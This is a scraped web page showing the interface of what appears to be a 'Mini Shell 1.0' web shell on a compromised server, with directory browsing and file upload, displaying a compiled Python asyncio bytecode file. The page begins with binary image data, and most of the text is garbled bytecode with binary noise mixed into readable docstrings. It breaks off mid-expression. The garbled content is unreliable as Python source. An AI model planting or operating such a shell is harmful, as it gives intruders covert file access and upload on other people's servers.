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੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB`Mini Shell

HOME


Mini Shell 1.0
DIR:/lib/python3.9/asyncio/__pycache__/
Upload File :
Current File : //lib/python3.9/asyncio/__pycache__/unix_events.cpython-39.pyc
a

�RLg4��@s�dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
mZddl
mZddl
mZddl
mZddl
mZdd	l
mZdd
l
mZddl
mZddl
mZdd
l
mZddlmZdZe
jdkr�ed��dd�ZGdd�dej�ZGdd�dej �Z!Gdd�dej"ej#�Z$Gdd�dej%�Z&Gdd�d�Z'Gdd�de'�Z(d d!�Z)Gd"d#�d#e'�Z*Gd$d%�d%e*�Z+Gd&d'�d'e*�Z,Gd(d)�d)e'�Z-Gd*d+�d+e'�Z.Gd,d-�d-ej/�Z0eZ1e0Z2dS).z2Selector event loop for Unix with signal handling.�N�)�base_events)�base_subprocess)�	constants)�
coroutines)�events)�
exceptions)�futures)�selector_events)�tasks)�
transports)�logger)�SelectorEventLoop�AbstractChildWatcher�SafeChildWatcher�FastChildWatcher�PidfdChildWatcher�MultiLoopChildWatcher�ThreadedChildWatcher�DefaultEventLoopPolicyZwin32z+Signals are not really supported on WindowscCsdS)zDummy signal handler.N�)�signum�framerr�)/usr/lib/python3.9/asyncio/unix_events.py�_sighandler_noop*srcs�eZdZdZd)�fdd�	Z�fdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
d*dd�Zd+dd�Zd,dd�Z
dd�Zd-ddddd�dd�Zd.dddddd�dd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Z�ZS)/�_UnixSelectorEventLoopzdUnix event loop.

    Adds signal handling and UNIX Domain Socket support to SelectorEventLoop.
    Ncst��|�i|_dS�N)�super�__init__�_signal_handlers)�self�selector��	__class__rrr5sz_UnixSelectorEventLoop.__init__csZt���t��s.t|j�D]}|�|�qn(|jrVtjd|�d�t	|d�|j�
�dS)NzClosing the loop z@ on interpreter shutdown stage, skipping signal handlers removal��source)r�close�sys�
is_finalizing�listr�remove_signal_handler�warnings�warn�ResourceWarning�clear�r �sigr"rrr&9s
�z_UnixSelectorEventLoop.closecCs|D]}|sq|�|�qdSr)�_handle_signal)r �datarrrr�_process_self_dataGsz)_UnixSelectorEventLoop._process_self_datac
GsRt�|�st�|�rtd��|�|�|��zt�|j�	��Wn4t
tfyv}ztt
|���WYd}~n
d}~00t�|||d�}||j|<zt�|t�t�|d�Wn�t�yL}z�|j|=|j�szt�d�Wn6t
tf�y}zt�d|�WYd}~n
d}~00|jtjk�r6td|�d���n�WYd}~n
d}~00dS)z�Add a handler for a signal.  UNIX only.

        Raise ValueError if the signal number is invalid or uncatchable.
        Raise RuntimeError if there is a problem setting up the handler.
        z3coroutines cannot be used with add_signal_handler()NF����set_wakeup_fd(-1) failed: %s�sig � cannot be caught)rZiscoroutineZiscoroutinefunction�	TypeError�
_check_signalZ
_check_closed�signal�
set_wakeup_fdZ_csock�fileno�
ValueError�OSError�RuntimeError�strrZHandlerr�siginterruptr
�info�errno�EINVAL)r r0�callback�args�exc�handleZnexcrrr�add_signal_handlerNs2
�
"
"z)_UnixSelectorEventLoop.add_signal_handlercCs8|j�|�}|durdS|jr*|�|�n
|�|�dS)z2Internal helper that is the actual signal handler.N)r�getZ
_cancelledr*Z_add_callback_signalsafe)r r0rHrrrr1{sz%_UnixSelectorEventLoop._handle_signalc
Cs�|�|�z|j|=Wnty*YdS0|tjkr>tj}ntj}zt�||�WnDty�}z,|jtj	kr�t
d|�d���n�WYd}~n
d}~00|js�zt�d�Wn4ttfy�}zt
�d|�WYd}~n
d}~00dS)zwRemove a handler for a signal.  UNIX only.

        Return True if a signal handler was removed, False if not.
        Fr6r7Nr4r5T)r9r�KeyErrorr:�SIGINT�default_int_handler�SIG_DFLr>rCrDr?r;r=r
rB)r r0�handlerrGrrrr*�s(

"z,_UnixSelectorEventLoop.remove_signal_handlercCs6t|t�std|����|t��vr2td|����dS)z�Internal helper to validate a signal.

        Raise ValueError if the signal number is invalid or uncatchable.
        Raise RuntimeError if there is a problem setting up the handler.
        zsig must be an int, not zinvalid signal number N)�
isinstance�intr8r:�
valid_signalsr=r/rrrr9�s
z$_UnixSelectorEventLoop._check_signalcCst|||||�Sr)�_UnixReadPipeTransport�r �pipe�protocol�waiter�extrarrr�_make_read_pipe_transport�sz0_UnixSelectorEventLoop._make_read_pipe_transportcCst|||||�Sr)�_UnixWritePipeTransportrTrrr�_make_write_pipe_transport�sz1_UnixSelectorEventLoop._make_write_pipe_transportc	

�s�t����}
|
��std��|��}t||||||||f||d�|	��}|
�|��|j|�z|IdHWn@t	t
fy��Yn*ty�|��|�
�IdH�Yn0Wd�n1s�0Y|S)NzRasyncio.get_child_watcher() is not activated, subprocess support is not installed.)rWrX)r�get_child_watcher�	is_activer?�
create_future�_UnixSubprocessTransport�add_child_handlerZget_pid�_child_watcher_callback�
SystemExit�KeyboardInterrupt�
BaseExceptionr&Z_wait)
r rVrF�shell�stdin�stdout�stderr�bufsizerX�kwargs�watcherrW�transprrr�_make_subprocess_transport�s.

���
�&z1_UnixSelectorEventLoop._make_subprocess_transportcCs|�|j|�dSr)�call_soon_threadsafeZ_process_exited)r �pid�
returncoderlrrrra�sz._UnixSelectorEventLoop._child_watcher_callback)�ssl�sock�server_hostname�ssl_handshake_timeoutc	�s |dust|t�sJ�|r,|durLtd��n |dur<td��|durLtd��|dur�|durdtd��t�|�}t�tjtjd�}z |�d�|�	||�IdHWq�|�
��Yq�0n@|dur�td��|jtjks�|jtjkr�td|����|�d�|j
|||||d	�IdH\}}||fS)
Nz/you have to pass server_hostname when using sslz+server_hostname is only meaningful with ssl�1ssl_handshake_timeout is only meaningful with ssl�3path and sock can not be specified at the same timerFzno path and sock were specified�.A UNIX Domain Stream Socket was expected, got )rt)rPr@r=�os�fspath�socket�AF_UNIX�SOCK_STREAM�setblockingZsock_connectr&�family�typeZ_create_connection_transport)	r �protocol_factory�pathrqrrrsrt�	transportrVrrr�create_unix_connection�sN���



��
�z-_UnixSelectorEventLoop.create_unix_connection�dT)rr�backlogrqrt�
start_servingc
�s�t|t�rtd��|dur&|s&td��|du�rJ|dur@td��t�|�}t�tjtj�}|ddvr�z t	�
t�	|�j�r�t�|�WnBt
y�Yn2ty�}zt�d||�WYd}~n
d}~00z|�|�Wnnt�y2}	z@|��|	jtjk�rd|�d�}
ttj|
�d�n�WYd}	~	nd}	~	0|���Yn0n<|du�r\td	��|jtjk�sx|jtjk�r�td
|����|�d�t�||g||||�}|�r�|��tjd|d�IdH|S)
Nz*ssl argument must be an SSLContext or Nonerurvr)r�z2Unable to check or remove stale UNIX socket %r: %rzAddress z is already in usez-path was not specified, and no sock specifiedrwF)�loop)rP�boolr8r=rxryrzr{r|�stat�S_ISSOCK�st_mode�remove�FileNotFoundErrorr>r
�errorZbindr&rCZ
EADDRINUSEr~rr}rZServerZ_start_servingr�sleep)r r�r�rrr�rqrtr��errrG�msgZserverrrr�create_unix_serversh
�
�
�

�
��
�z)_UnixSelectorEventLoop.create_unix_serverc

�s�z
tjWnty&t�d��Yn0z|��}Wn4ttjfyh}zt�d��WYd}~n
d}~00zt�|�j	}Wnt
y�t�d��Yn0|r�|n|}|s�dS|��}	|�|	d|||||d�|	IdHS)Nzos.sendfile() is not availableznot a regular filer)
rx�sendfile�AttributeErrorr�SendfileNotAvailableErrorr<�io�UnsupportedOperation�fstat�st_sizer>r^�_sock_sendfile_native_impl)
r rr�file�offset�countr<r�Zfsize�	blocksize�futrrr�_sock_sendfile_nativeJs,
�
 �z,_UnixSelectorEventLoop._sock_sendfile_nativec	Cs,|��}	|dur|�|�|��r4|�|||�dS|rd||}|dkrd|�|||�|�|�dSzt�|	|||�}
W�nDttfy�|dur�|�	||�|�
|	|j||	||||||�
Y�ndt�yj}z�|du�r|j
t
jk�rt|�tu�rtdt
j�}||_|}|dk�r>t�d�}
|�|||�|�|
�n|�|||�|�|�WYd}~n�d}~0ttf�y��Yn�t�y�}z$|�|||�|�|�WYd}~nrd}~00|
dk�r�|�|||�|�|�nD||
7}||
7}|du�r
|�	||�|�
|	|j||	||||||�
dS)Nrzsocket is not connectedzos.sendfile call failed)r<�
remove_writer�	cancelled�_sock_sendfile_update_fileposZ
set_resultrxr��BlockingIOError�InterruptedError�_sock_add_cancellation_callbackZ
add_writerr�r>rCZENOTCONNr�ConnectionError�	__cause__rr�Z
set_exceptionrbrcrd)r r�Z
registered_fdrrr<r�r�r��
total_sent�fdZsentrG�new_excr�rrrr�asp

�


�
��
� 

�z1_UnixSelectorEventLoop._sock_sendfile_native_implcCs|dkrt�||tj�dS�Nr)rx�lseek�SEEK_SET)r r<r�r�rrrr��sz4_UnixSelectorEventLoop._sock_sendfile_update_fileposcs��fdd�}|�|�dS)Ncs&|��r"���}|dkr"��|�dS)Nr4)r�r<r�)r�r��r rrrr�cb�szB_UnixSelectorEventLoop._sock_add_cancellation_callback.<locals>.cb)Zadd_done_callback)r r�rrr�rr�rr��sz6_UnixSelectorEventLoop._sock_add_cancellation_callback)N)NN)NN)N)N)N)�__name__�
__module__�__qualname__�__doc__rr&r3rIr1r*r9rYr[rmrar�r�r�r�r�r��
__classcell__rrr"rr/sB-
 �
�
�
��.��CFrcs�eZdZdZd�fdd�	Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Ze
jfdd�Zddd�Zdd�Zdd�Z�ZS) rSiNcs�t��|�||jd<||_||_|��|_||_d|_d|_	t
�|j�j}t
�|�s�t
�|�s�t
�|�s�d|_d|_d|_td��t
�|jd�|j�|jj|�|j�|jj|j|j�|dur�|j�tj|d�dS)NrUFz)Pipe transport is for pipes/sockets only.)rr�_extra�_loop�_piper<�_fileno�	_protocol�_closing�_pausedrxr�r�r��S_ISFIFOr��S_ISCHRr=�set_blocking�	call_soon�connection_made�_add_reader�_read_readyr	�_set_result_unless_cancelled)r r�rUrVrWrX�moder"rrr�s6


���
�z_UnixReadPipeTransport.__init__cCs�|jjg}|jdur |�d�n|jr0|�d�|�d|j���t|jdd�}|jdur�|dur�t�	||jt
j�}|r�|�d�q�|�d�n |jdur�|�d�n
|�d�d�d	�
|��S)
N�closed�closing�fd=�	_selector�polling�idle�open�<{}>� )r#r�r��appendr�r��getattrr�r
�_test_selector_event�	selectorsZ
EVENT_READ�format�join)r rBr!r�rrr�__repr__�s$



�

z_UnixReadPipeTransport.__repr__c
Cs�zt�|j|j�}WnDttfy*Yn�tyX}z|�|d�WYd}~nfd}~00|rl|j�	|�nJ|j
��r�t�
d|�d|_|j
�|j�|j
�|jj�|j
�|jd�dS)Nz"Fatal read error on pipe transport�%r was closed by peerT)rx�readr��max_sizer�r�r>�_fatal_errorr�Z
data_receivedr��	get_debugr
rBr��_remove_readerr�Zeof_received�_call_connection_lost)r r2rGrrrr��s"
z"_UnixReadPipeTransport._read_readycCs>|js|jrdSd|_|j�|j�|j��r:t�d|�dS)NTz%r pauses reading)r�r�r�r�r�r�r
�debug�r rrr�
pause_reading�s
z$_UnixReadPipeTransport.pause_readingcCsB|js|jsdSd|_|j�|j|j�|j��r>t�d|�dS)NFz%r resumes reading)	r�r�r�r�r�r�r�r
r�r�rrr�resume_readings
z%_UnixReadPipeTransport.resume_readingcCs
||_dSr�r��r rVrrr�set_protocol
sz#_UnixReadPipeTransport.set_protocolcCs|jSrr�r�rrr�get_protocolsz#_UnixReadPipeTransport.get_protocolcCs|jSr�r�r�rrr�
is_closingsz!_UnixReadPipeTransport.is_closingcCs|js|�d�dSr)r��_closer�rrrr&sz_UnixReadPipeTransport.closecCs,|jdur(|d|��t|d�|j��dS�Nzunclosed transport r$�r�r-r&�r �_warnrrr�__del__s
z_UnixReadPipeTransport.__del__�Fatal error on pipe transportcCsZt|t�r4|jtjkr4|j��rLtjd||dd�n|j�||||j	d��|�
|�dS�Nz%r: %sT��exc_info)�message�	exceptionr�rV)rPr>rCZEIOr�r�r
r��call_exception_handlerr�r��r rGr�rrrr�s
�z#_UnixReadPipeTransport._fatal_errorcCs(d|_|j�|j�|j�|j|�dS�NT)r�r�r�r�r�r��r rGrrrr�-sz_UnixReadPipeTransport._closecCsPz,|j�|�W|j��d|_d|_d|_n|j��d|_d|_d|_0dSr�r�Zconnection_lostr�r&r�r�rrrr�2s
�
z,_UnixReadPipeTransport._call_connection_lost)NN)r�)r�r�r�r�rr�r�r�r�r�r�r�r&r+r,r�r�r�r�r�rrr"rrS�s
rScs�eZdZd%�fdd�	Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zejfdd�Zdd�Zd&dd �Zd'd!d"�Zd#d$�Z�ZS)(rZNc
s�t��||�||jd<||_|��|_||_t�|_d|_	d|_
t�|j�j
}t�|�}t�|�}t�|�}	|s�|s�|	s�d|_d|_d|_td��t�|jd�|j�|jj|�|	s�|r�tj�d�s�|j�|jj|j|j�|dur�|j�tj|d�dS)NrUrFz?Pipe transport is only for pipes, sockets and character devicesZaix)rrr�r�r<r�r��	bytearray�_buffer�
_conn_lostr�rxr�r�r�r�r�r�r=r�r�r�r�r'�platform�
startswithr�r�r	r�)
r r�rUrVrWrXr�Zis_charZis_fifoZ	is_socketr"rrr?s6




�
�z _UnixWritePipeTransport.__init__cCs�|jjg}|jdur |�d�n|jr0|�d�|�d|j���t|jdd�}|jdur�|dur�t�	||jt
j�}|r�|�d�n
|�d�|��}|�d|���n |jdur�|�d�n
|�d�d	�
d
�|��S)Nr�r�r�r�r�r�zbufsize=r�r�r�)r#r�r�r�r�r�r�r�r
r�r�ZEVENT_WRITE�get_write_buffer_sizer�r�)r rBr!r�rirrrr�ds(



�


z _UnixWritePipeTransport.__repr__cCs
t|j�Sr)�lenr�r�rrrr�|sz-_UnixWritePipeTransport.get_write_buffer_sizecCs6|j��rt�d|�|jr*|�t��n|��dS)Nr�)r�r�r
rBr�r��BrokenPipeErrorr�rrrr�s

z#_UnixWritePipeTransport._read_readyc
CsLt|tttf�sJt|���t|t�r.t|�}|s6dS|jsB|jrj|jtjkrXt	�
d�|jd7_dS|j�s2zt�
|j|�}Wnnttfy�d}YnVttfy��Yn@ty�}z(|jd7_|�|d�WYd}~dSd}~00|t|�k�rdS|dk�r t|�|d�}|j�|j|j�|j|7_|��dS)Nz=pipe closed by peer or os.write(pipe, data) raised exception.rr�#Fatal write error on pipe transport)rP�bytesr��
memoryview�reprr�r�rZ!LOG_THRESHOLD_FOR_CONNLOST_WRITESr
�warningr�rx�writer�r�r�rbrcrdr�r�r�Z_add_writer�_write_readyZ_maybe_pause_protocol)r r2�nrGrrrr�s8


z_UnixWritePipeTransport.writec
Cs|jsJd��zt�|j|j�}Wn�ttfy8Yn�ttfyN�Yn�ty�}z>|j�	�|j
d7_
|j�|j�|�
|d�WYd}~npd}~00|t|j�kr�|j�	�|j�|j�|��|jr�|j�|j�|�d�dS|dk�r
|jd|�=dS)NzData should not be emptyrrr)r�rxrr�r�r�rbrcrdr.r�r��_remove_writerr�r�Z_maybe_resume_protocolr�r�r�)r rrGrrrr�s,
"


z$_UnixWritePipeTransport._write_readycCsdSr�rr�rrr�
can_write_eof�sz%_UnixWritePipeTransport.can_write_eofcCsB|jr
dS|jsJ�d|_|js>|j�|j�|j�|jd�dSr�)r�r�r�r�r�r�r�r�r�rrr�	write_eof�s
z!_UnixWritePipeTransport.write_eofcCs
||_dSrr�r�rrrr��sz$_UnixWritePipeTransport.set_protocolcCs|jSrr�r�rrrr��sz$_UnixWritePipeTransport.get_protocolcCs|jSrr�r�rrrr��sz"_UnixWritePipeTransport.is_closingcCs|jdur|js|��dSr)r�r�rr�rrrr&�sz_UnixWritePipeTransport.closecCs,|jdur(|d|��t|d�|j��dSr�r�r�rrrr��s
z_UnixWritePipeTransport.__del__cCs|�d�dSr)r�r�rrr�abort�sz_UnixWritePipeTransport.abortr�cCsNt|t�r(|j��r@tjd||dd�n|j�||||jd��|�|�dSr�)	rPr>r�r�r
r�r�r�r�r�rrrr��s

�z$_UnixWritePipeTransport._fatal_errorcCsFd|_|jr|j�|j�|j��|j�|j�|j�|j|�dSr�)	r�r�r�r	r�r.r�r�r�r�rrrr��s
z_UnixWritePipeTransport._closecCsPz,|j�|�W|j��d|_d|_d|_n|j��d|_d|_d|_0dSrr�r�rrrr��s
�
z-_UnixWritePipeTransport._call_connection_lost)NN)r�)N)r�r�r�rr�r�r�rrr
rr�r�r�r&r+r,r�rr�r�r�r�rrr"rrZ<s"%	#	

rZc@seZdZdd�ZdS)r_c		Ks�d}|tjkrt��\}}zhtj|f||||d|d�|��|_|durh|��t|��d|d�|j_	d}W|dur�|��|��n|dur�|��|��0dS)NF)rerfrgrhZuniversal_newlinesri�wb)�	buffering)
�
subprocess�PIPErzZ
socketpair�Popen�_procr&r��detachrf)	r rFrerfrgrhrirjZstdin_wrrr�_starts,
���
�z_UnixSubprocessTransport._startN)r�r�r�rrrrrr_	sr_c@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)raHAbstract base class for monitoring child processes.

    Objects derived from this class monitor a collection of subprocesses and
    report their termination or interruption by a signal.

    New callbacks are registered with .add_child_handler(). Starting a new
    process must be done within a 'with' block to allow the watcher to suspend
    its activity until the new process if fully registered (this is needed to
    prevent a race condition in some implementations).

    Example:
        with watcher:
            proc = subprocess.Popen("sleep 1")
            watcher.add_child_handler(proc.pid, callback)

    Notes:
        Implementations of this class must be thread-safe.

        Since child watcher objects may catch the SIGCHLD signal and call
        waitpid(-1), there should be only one active object per process.
    cGs
t��dS)aRegister a new child handler.

        Arrange for callback(pid, returncode, *args) to be called when
        process 'pid' terminates. Specifying another callback for the same
        process replaces the previous handler.

        Note: callback() must be thread-safe.
        N��NotImplementedError�r rorErFrrrr`9s	z&AbstractChildWatcher.add_child_handlercCs
t��dS)z�Removes the handler for process 'pid'.

        The function returns True if the handler was successfully removed,
        False if there was nothing to remove.Nr�r rorrr�remove_child_handlerDsz)AbstractChildWatcher.remove_child_handlercCs
t��dS)z�Attach the watcher to an event loop.

        If the watcher was previously attached to an event loop, then it is
        first detached before attaching to the new loop.

        Note: loop may be None.
        Nr�r r�rrr�attach_loopLsz AbstractChildWatcher.attach_loopcCs
t��dS)zlClose the watcher.

        This must be called to make sure that any underlying resource is freed.
        Nrr�rrrr&VszAbstractChildWatcher.closecCs
t��dS)z�Return ``True`` if the watcher is active and is used by the event loop.

        Return True if the watcher is installed and ready to handle process exit
        notifications.

        Nrr�rrrr]]szAbstractChildWatcher.is_activecCs
t��dS)zdEnter the watcher's context and allow starting new processes

        This function must return selfNrr�rrr�	__enter__fszAbstractChildWatcher.__enter__cCs
t��dS)zExit the watcher's contextNr�r �a�b�crrr�__exit__lszAbstractChildWatcher.__exit__N)r�r�r�r�r`rrr&r]rr!rrrrr"s
	rc@sXeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�ZdS)ra6Child watcher implementation using Linux's pid file descriptors.

    This child watcher polls process file descriptors (pidfds) to await child
    process termination. In some respects, PidfdChildWatcher is a "Goldilocks"
    child watcher implementation. It doesn't require signals or threads, doesn't
    interfere with any processes launched outside the event loop, and scales
    linearly with the number of subprocesses launched by the event loop. The
    main disadvantage is that pidfds are specific to Linux, and only work on
    recent (5.3+) kernels.
    cCsd|_i|_dSr�r��
_callbacksr�rrrr}szPidfdChildWatcher.__init__cCs|Srrr�rrrr�szPidfdChildWatcher.__enter__cCsdSrr)r �exc_type�	exc_value�
exc_tracebackrrrr!�szPidfdChildWatcher.__exit__cCs|jduo|j��Sr�r�Z
is_runningr�rrrr]�szPidfdChildWatcher.is_activecCs|�d�dSr�rr�rrrr&�szPidfdChildWatcher.closecCsd|jdur$|dur$|jr$t�dt�|j��D] \}}}|j�|�t�|�q.|j�	�||_dS�NzCA loop is being detached from a child watcher with pending handlers)
r�r#r+r,�RuntimeWarning�valuesr�rxr&r.)r r��pidfd�_rrrr�s�
zPidfdChildWatcher.attach_loopcGsZ|j�|�}|dur*|d||f|j|<n,t�|�}|j�||j|�|||f|j|<dSr�)r#rJrx�
pidfd_openr�r��_do_wait)r rorErFZexistingr,rrrr`�s
z#PidfdChildWatcher.add_child_handlercCs~|j�|�\}}}|j�|�zt�|d�\}}Wn"tyTd}t�d|�Yn
0t	|�}t�
|�|||g|�R�dS)Nr�zJchild process pid %d exit status already read:  will report returncode 255)r#�popr�r�rx�waitpid�ChildProcessErrorr
r�_compute_returncoder&)r ror,rErFr-�statusrprrrr/�s�

zPidfdChildWatcher._do_waitcCsFz|j�|�\}}}Wnty*YdS0|j�|�t�|�dS)NFT)r#r1rKr�r�rxr&)r ror,r-rrrr�s
z&PidfdChildWatcher.remove_child_handlerN)
r�r�r�r�rrr!r]r&rr`r/rrrrrrqs	rcCs2t�|�rt�|�St�|�r*t�|�S|SdSr)rx�WIFSIGNALED�WTERMSIG�	WIFEXITED�WEXITSTATUS)r5rrrr4�s



r4c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�BaseChildWatchercCsd|_i|_dSrr"r�rrrr�szBaseChildWatcher.__init__cCs|�d�dSrr(r�rrrr&�szBaseChildWatcher.closecCs|jduo|j��Srr'r�rrrr]�szBaseChildWatcher.is_activecCs
t��dSrr)r �expected_pidrrr�_do_waitpid�szBaseChildWatcher._do_waitpidcCs
t��dSrrr�rrr�_do_waitpid_all�sz BaseChildWatcher._do_waitpid_allcCs~|dust|tj�sJ�|jdur<|dur<|jr<t�dt�|jdurT|j�t	j
�||_|durz|�t	j
|j�|�
�dSr))rPrZAbstractEventLoopr�r#r+r,r*r*r:�SIGCHLDrI�	_sig_chldr=rrrrr�s�
zBaseChildWatcher.attach_loopc
Cs^z|��WnLttfy$�Yn6tyX}z|j�d|d��WYd}~n
d}~00dS)N�$Unknown exception in SIGCHLD handler)r�r�)r=rbrcrdr�r�r�rrrr?�s�zBaseChildWatcher._sig_chldN)
r�r�r�rr&r]r<r=rr?rrrrr:�sr:csPeZdZdZ�fdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
�ZS)rad'Safe' child watcher implementation.

    This implementation avoids disrupting other code spawning processes by
    polling explicitly each process in the SIGCHLD handler instead of calling
    os.waitpid(-1).

    This is a safe solution but it has a significant overhead when handling a
    big number of children (O(n) each time SIGCHLD is raised)
    cs|j��t���dSr)r#r.rr&r�r"rrr&
s
zSafeChildWatcher.closecCs|Srrr�rrrrszSafeChildWatcher.__enter__cCsdSrrrrrrr!szSafeChildWatcher.__exit__cGs||f|j|<|�|�dSr)r#r<rrrrr`sz"SafeChildWatcher.add_child_handlercCs(z|j|=WdSty"YdS0dS�NTF�r#rKrrrrrs
z%SafeChildWatcher.remove_child_handlercCst|j�D]}|�|�q
dSr�r)r#r<rrrrr=$sz SafeChildWatcher._do_waitpid_allcCs�|dksJ�zt�|tj�\}}Wn&tyH|}d}t�d|�Yn.0|dkrVdSt|�}|j��rvt�	d||�z|j
�|�\}}Wn,ty�|j��r�tjd|dd�Yn0|||g|�R�dS)Nrr0�8Unknown child process pid %d, will report returncode 255�$process %s exited with returncode %s�'Child watcher got an unexpected pid: %rTr�)
rxr2�WNOHANGr3r
rr4r�r�r�r#r1rK)r r;ror5rprErFrrrr<)s2�

�
�zSafeChildWatcher._do_waitpid)r�r�r�r�r&rr!r`rr=r<r�rrr"rrs
rcsTeZdZdZ�fdd�Z�fdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
�ZS)raW'Fast' child watcher implementation.

    This implementation reaps every terminated processes by calling
    os.waitpid(-1) directly, possibly breaking other code spawning processes
    and waiting for their termination.

    There is no noticeable overhead when handling a big number of children
    (O(1) each time a child terminates).
    cs$t���t��|_i|_d|_dSr�)rr�	threadingZLock�_lock�_zombies�_forksr�r"rrrVs

zFastChildWatcher.__init__cs"|j��|j��t���dSr)r#r.rJrr&r�r"rrr&\s

zFastChildWatcher.closecCs<|j�"|jd7_|Wd�S1s.0YdS)Nr)rIrKr�rrrraszFastChildWatcher.__enter__cCst|j�N|jd8_|js"|js2Wd�dSt|j�}|j��Wd�n1sZ0Yt�d|�dS)Nrz5Caught subprocesses termination from unknown pids: %s)rIrKrJr@r.r
r)r rrr Zcollateral_victimsrrrr!gs
(�zFastChildWatcher.__exit__c	Gs�|jsJd��|j�Pz|j�|�}Wn.tyT||f|j|<YWd�dS0Wd�n1sj0Y|||g|�R�dS)NzMust use the context manager)rKrIrJr1rKr#)r rorErFrprrrr`us2z"FastChildWatcher.add_child_handlercCs(z|j|=WdSty"YdS0dSrArBrrrrr�s
z%FastChildWatcher.remove_child_handlerc	Cszt�dtj�\}}Wnty*YdS0|dkr8dSt|�}|j��z|j�|�\}}WnNty�|j	r�||j
|<|j��r�t
�d||�YWd�qd}Yn0|j��r�t
�d||�Wd�n1s�0Y|dur�t
�d||�q|||g|�R�qdS)Nr4rz,unknown process %s exited with returncode %srEz8Caught subprocess termination from unknown pid: %d -> %d)rxr2rGr3r4rIr#r1rKrKrJr�r�r
r�r)r ror5rprErFrrrr=�s:

�

�"�z FastChildWatcher._do_waitpid_all)r�r�r�r�rr&rr!r`rr=r�rrr"rrLs	rc@sheZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)ra~A watcher that doesn't require running loop in the main thread.

    This implementation registers a SIGCHLD signal handler on
    instantiation (which may conflict with other code that
    install own handler for this signal).

    The solution is safe but it has a significant overhead when
    handling a big number of processes (*O(n)* each time a
    SIGCHLD is received).
    cCsi|_d|_dSr)r#�_saved_sighandlerr�rrrr�szMultiLoopChildWatcher.__init__cCs
|jduSr)rLr�rrrr]�szMultiLoopChildWatcher.is_activecCsT|j��|jdurdSt�tj�}||jkr:t�d�nt�tj|j�d|_dS)Nz+SIGCHLD handler was changed by outside code)	r#r.rLr:�	getsignalr>r?r
r)r rOrrrr&�s


zMultiLoopChildWatcher.closecCs|Srrr�rrrr�szMultiLoopChildWatcher.__enter__cCsdSrr�r r$Zexc_valZexc_tbrrrr!�szMultiLoopChildWatcher.__exit__cGs&t��}|||f|j|<|�|�dSr)r�get_running_loopr#r<)r rorErFr�rrrr`�sz'MultiLoopChildWatcher.add_child_handlercCs(z|j|=WdSty"YdS0dSrArBrrrrr�s
z*MultiLoopChildWatcher.remove_child_handlercCsN|jdurdSt�tj|j�|_|jdur<t�d�tj|_t�tjd�dS)NzaPrevious SIGCHLD handler was set by non-Python code, restore to default handler on watcher close.F)rLr:r>r?r
rrNrArrrrr�s


z!MultiLoopChildWatcher.attach_loopcCst|j�D]}|�|�q
dSrrCrrrrr=sz%MultiLoopChildWatcher._do_waitpid_allc	Cs�|dksJ�zt�|tj�\}}Wn*tyL|}d}t�d|�d}Yn0|dkrZdSt|�}d}z|j�|�\}}}Wn"t	y�tjd|dd�YnJ0|�
�r�t�d||�n0|r�|��r�t�d	||�|j
|||g|�R�dS)
Nrr0rDFTrFr��%Loop %r that handles pid %r is closedrE)rxr2rGr3r
rr4r#r1rK�	is_closedr�r�rn)	r r;ror5rpZ	debug_logr�rErFrrrr<s8�
��z!MultiLoopChildWatcher._do_waitpidc	CsHz|��Wn6ttfy$�Yn tyBtjddd�Yn0dS)Nr@Tr�)r=rbrcrdr
r)r rrrrrr?)szMultiLoopChildWatcher._sig_chldN)r�r�r�r�rr]r&rr!r`rrr=r<r?rrrrr�s%rc@sneZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	e
jfdd�Zdd�Z
dd�Zdd�Zdd�ZdS)raAThreaded child watcher implementation.

    The watcher uses a thread per process
    for waiting for the process finish.

    It doesn't require subscription on POSIX signal
    but a thread creation is not free.

    The watcher has O(1) complexity, its performance doesn't depend
    on amount of spawn processes.
    cCst�d�|_i|_dSr�)�	itertoolsr��_pid_counter�_threadsr�rrrr?szThreadedChildWatcher.__init__cCsdSr�rr�rrrr]CszThreadedChildWatcher.is_activecCs|��dSr)�
_join_threadsr�rrrr&FszThreadedChildWatcher.closecCs.dd�t|j���D�}|D]}|��qdS)z%Internal: Join all non-daemon threadscSsg|]}|��r|js|�qSr)�is_alive�daemon��.0�threadrrr�
